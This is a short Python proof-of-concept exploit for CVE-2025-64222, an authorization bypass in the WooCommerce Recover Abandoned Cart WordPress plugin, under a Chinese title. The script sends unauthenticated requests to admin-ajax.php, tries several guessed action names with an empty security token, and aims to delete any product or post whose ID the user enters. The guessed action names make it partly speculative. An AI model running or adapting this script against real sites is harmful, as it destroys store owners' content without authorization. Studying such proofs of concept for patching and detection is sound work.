CVE-2025-64222 WooCommerce Recover Abandoned Cart 授权缺失漏洞

# CVE-2025-64222 PoC - WooCommerce Recover Abandoned Cart Authorization Bypass # Target: WordPress site with WooCommerce Recover Abandoned Cart plugin <= 24.6.0 import requests import sys TARGET_URL = "http://target-wordpress-site.com" def delete_woocommerce_content(post_id, content_type="product"): """ Exploit for Missing Authorization in WooCommerce Recover Abandoned Cart This PoC demonstrates how an unauthenticated user can delete arbitrary content """ # Common AJAX endpoint used by the plugin endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Try different action names used by the plugin action_names = [ "rac_delete", "rac_remove", "rac_ajax_delete", "rac_remove_from_abandoned", "rac_delete_abandoned_cart" ] for action in action_names: # Payload structure - varies depending on plugin version data = { "action": action, "rac_post_id": post_id, "rac_type": content_type, "security": "" # May be empty or weak validation } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[*] Sent request with action: {action}") print(f"[*] Response: {response.text[:200]}") # Check for success indicators if any(keyword in response.text.lower() for keyword in ["success", "deleted", "removed"]): print(f"[!] Potential successful deletion of {content_type} ID: {post_id}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] TARGET_URL = target print("CVE-2025-64222 PoC - WooCommerce Recover Abandoned Cart Authorization Bypass") print("=" * 70) # Example: Try to delete product with ID 1 target_id = int(input("Enter target post/product ID to delete: ") or "1") delete_woocommerce_content(target_id, "product")